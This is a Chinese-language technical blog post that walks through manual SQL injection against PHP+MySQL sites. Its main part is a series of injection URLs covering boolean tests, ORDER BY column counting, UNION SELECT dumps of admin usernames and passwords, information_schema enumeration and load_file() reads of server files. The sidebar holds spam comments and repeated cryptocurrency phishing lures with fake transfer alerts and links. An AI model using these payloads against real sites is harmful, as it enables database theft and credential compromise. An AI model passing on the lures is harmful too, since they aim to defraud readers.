小灰博客--小灰IT技术博客 | sky00.com

MYSQL注入

大家都知道,危害我们网站安全较多的漏洞还是注射漏洞。无论腾讯、百度、SINA等等大型网站都惊现过注入漏洞,今天讲解的是PHP+MYSQL的注入。我们注重的不是WEB语言而是数据库.了解一条SQL语句是如何运行。
常规WEB语言与数据库搭配方法:php+mysql、ASP+ACC、JSP+ORACLE、ASPX+MSSQL等等搭配都有
以下判断是否存在注入漏洞的语句.其中/*在MYSQL中是个注释语句.
http://www.xxx.com/sql.php?id=7 and 1=1/*
http://www.xxx.com/sql.php?id=7 and 1=2/*
下面我们用ORDER BY 语句进行字段中查询的记录进行排序;
http://www.xxx.com/sql.php?id=7 order by 10/* 一直重1到10输入ORDER BY 11 返回出错
下面用猜表名方法;(假设表明为admin)
http://www.xxx.com/sql.php?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin/*
当这样返回正常的话.存在此表明了!当然会显示一些特殊数字的WEB上
下面用猜字段方法;(假设字段为user 和pass)
http://www.xxx.com/sql.php?id=7 and 1=2 union select 1,2,user,pass,5,6,7,8,9,10 from admin/*
我们可爱的账户与密码出来了(一般密码是经过MD5处理或者其他加密)
但是我们在MYSQL中(假设版本是5)的注射手法,mysql5中增加一个库叫information_schema,可以爆库爆表爆字段。解决了我们找不了表明与字段的烦恼
union select 1,SCHEMA_NAME,3,4,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增,查询到4时浏览器返回错误,说明存在3个库。
union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
limit 从0开始递增,查询到7时浏览器返回错误,说明此库存在6个表。
union select 1,2,3,COLUMN_NAME,4,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列


这样可以解决我们找不到表与字段的烦躁(版本为MYSQL5)
介绍下MYSQL中的函数(CONCAT_WS()函数)
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10/*
这里的意思一次查看MYSQL的版本信息当前用户等等
介绍下MYSQL中的函数(load_file() 函数)
and 1=2 union select 1,2,3,load_file(16进制转换),5,6,7,8,9,10/*
使用load_file()读取敏感信息必须该用户赋予最高的权限..把你需要的文件路径转换为16进制即可
部分还有几个MYSQL中的函数没介绍,但这文章需要时间..


如果该文章帮到了您,不妨帮忙分享支持下博主!
同时也欢迎各位技术爱好者加入IT技术群(点击即可):70035098 互相交流学习!

分享该文章到:

8 条评论

  1. 止水带说道:

    好文章,内容十全十美.禁止此消息:nolinkok@163.com

  2. 硝化纤维说道:

    不错的文章,内容文章雅致.禁止此消息:nolinkok@163.com

  3. 氯化橡胶漆说道:

    不错的文章,内容妙不可言.禁止此消息:nolinkok@163.com

  4. 防火板说道:

    好文章,内容惊天动地.禁止此消息:nolinkok@163.com

  5. 踏步板说道:

    不错的文章,内容远见卓识.禁止此消息:nolinkok@163.com

  6. 烧纸批发说道:

    不错的文章,内容学富五车.禁止此消息:nolinkok@163.com

  7. 防虫网说道:

    不错的文章,内容一气呵成.禁止此消息:nolinkok@163.com

  8. 荷兰网说道:

    不错的文章,内容完美无缺.禁止此消息:nolinkok@163.com



发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

分类

最新评论

  • SECURITY UPDATE - Suspicious transfer of 1.5 BTC. Cancel? >> https://graph.org/COLLECT-BTC-07-23?hs=9e710a17c6f1893b8975843ad65a53ec&:upxwyz
  • ACCOUNT NOTICE: Suspicious transfer of 0.9 Bitcoin. Cancel? >> https://graph.org/COLLECT-BTC-07-23?hs=fe6091958be4c38fa81e31741d9ee97b&:4pf2ee
  • ACCOUNT ALERT - Unauthorized transaction of 2.0 Bitcoin. Block? >> https://graph.org/COLLECT-BTC-07-23?hs=16de53a4a2394494df77c8bcee6cad77&:h5il57
  • WALLET UPDATE: Suspicious transfer of 2.0 BTC. Stop? > https://graph.org/COLLECT-BTC-07-23?hs=3f08de96112b4bab631df916e9c95f9e&:puykif
  • SECURITY UPDATE - Unauthorized transaction of 0.9 BTC. Stop? > https://graph.org/COLLECT-BTC-07-23?hs=2ae440781044702fe525e5a4bc609633&:jeu7qm
  • + 1.463083 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=9e710a17c6f1893b8975843ad65a53ec&:deoope
  • Notification; SENDING 1.340434 BTC. Assure => https://graph.org/Payout-from-Blockchaincom-06-26?hs=281dba697024abd3d1c5d7176ade2d86&:9no7ye
  • + 1.741870 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=82b659c095cace05cbef312726b6e1d9&:ktokt2
  • + 1.869464 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=d9564a149cf7ebbc725fcfce1bd3d512&:8u5u17
  • + 1.520933 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=b3fb181a7a5a4b8271540fe16f846c4e&:77woi1
  • Ticket: Process 1.650130 BTC. Verify >> https://graph.org/Payout-from-Blockchaincom-06-26?hs=9e710a17c6f1893b8975843ad65a53ec&:0lc9pa
  • Email; + 1,927051 BTC. Go to withdrawal =>> https://graph.org/Payout-from-Blockchaincom-06-26?hs=537821b4863fb3bee56d03d62403a81a&:fpsg39
  • Ticket- TRANSACTION 1,331496 BTC. Assure => https://graph.org/Payout-from-Blockchaincom-06-26?hs=01da4417afbeba5c1c96ed80618a98be&:vv3cey
  • + 1.156550 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=48af46897a78ce23e02d3d6d91453c82&:70ihvo
  • Email; TRANSACTION 1.839657 BTC. Receive => https://graph.org/Payout-from-Blockchaincom-06-26?hs=d9564a149cf7ebbc725fcfce1bd3d512&:aiwxke
  • + 1.397578 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=389fe5cd6483dfc8b55bc3d3e1e86cfb&:uvq55v
  • + 1.504191 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=9e710a17c6f1893b8975843ad65a53ec&:yumyj7
  • Message; Process 1.505974 BTC. GET => https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=00af77503aab4040b9414644cafc3051&:njhgiw
  • + 1.732287 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=164145d501515772aa4824d0b8561afe&:vn4wwh
  • Message; Operation 1,932226 BTC. Assure =>> https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=82b659c095cace05cbef312726b6e1d9&:qwt1jk